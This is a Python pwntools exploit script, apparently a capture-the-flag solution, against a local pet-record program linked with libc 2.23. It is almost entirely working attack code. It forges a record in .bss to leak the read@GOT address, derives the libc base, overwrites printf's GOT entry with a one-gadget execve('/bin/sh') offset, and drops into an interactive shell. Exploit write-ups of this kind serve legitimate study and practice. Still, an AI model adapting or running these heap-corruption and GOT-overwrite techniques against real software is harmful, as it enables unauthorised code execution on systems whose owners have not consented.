#!/usr/bin/env python

from pwn import *

def create_pet(name, kind, age):
    p.recvuntil('which command?')
    p.sendline('1')
    p.recvuntil('What\'s the pet\'s name?')
    p.sendline(name)
    p.recvuntil('What\'s the pet\'s kind?')
    p.sendline(kind)
    p.recvuntil('How old?')
    p.sendline(str(age))
    p.recvuntil('create record id:')
    return int(p.recvuntil('\n').strip())

def edit_pet(id_, name, kind, age, modify, attack=False):
    p.recvuntil('which command?')
    p.sendline('2')
    p.recvuntil('which id?')
    p.sendline(str(id_))
    p.recvuntil('What\'s the pet\'s name?')
    p.sendline(name)

    if attack:
        return

    p.recvuntil('What\'s the pet\'s kind?')
    p.sendline(kind)
    p.recvuntil('How old?')
    p.sendline(str(age))
    p.recvuntil('Would you modify? (y)/n>')
    p.sendline(modify)

def print_pet(id_):
    p.recvuntil('which command?')
    p.sendline('3')
    p.recvuntil('which id?')
    p.sendline(str(id_))

def leak(addr):
    id_ = create_pet('A' * 7, 'B' * 7, 10)
    edit_pet(id_, 'A' * 7, 'B' * 7, 10, 'n')

    create_pet('A' * 7, p64(0x6020a0 + 2 * 8) + p64(0x6020a0 + 2 * 8), 10)

    # create a fake record somewhere in .bss
    edit_pet(id_, p64(0x6020f8), p64(0x6020f8), 10, 'y')

    id_ = create_pet('A' * 7, 'B' * 7, 10)
    edit_pet(id_, 'A' * 7, 'B' * 7, 10, 'n')

    id_ = create_pet('A' * 7, p64(0x6020f8) + p64(0x6020f8), 10)

    # put the read@GOT address as name and kind pointers
    edit_pet(id_, p64(addr), p64(addr), 10, 'y')

    print_pet(2)

    p.recvuntil('name: ')
    return u64(p.recvuntil('\nkind:').replace('\nkind:', '') + '\00\00')

def exploit(addr, data):
    id_ = create_pet('A' * 7, 'B' * 7, 10)
    edit_pet(id_, 'A' * 7, 'B' * 7, 10, 'n')

    create_pet('A' * 7, p64(addr) + p64(addr), 10)

    edit_pet(id_, data, data, 10, 'y', True)

with context.quiet:
    p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

    read_addr = leak(0x602048)

    print 'Read Addr: ' + hex(read_addr)

    '''
    using libc database, we can detect the version of libc, which is:
    libc6_2.23-0ubuntu10_amd64.so

    0x45216 execve("/bin/sh", rsp+0x30, environ)
    constraints:
          rax == NULL
    '''
    libc_base = read_addr - 0xf7250

    print 'Libc Base: ' + hex(libc_base)

    # replace printf GOT address with one gadget's execve
    exploit(0x602038, p64(libc_base + 0x45216))

    p.interactive()
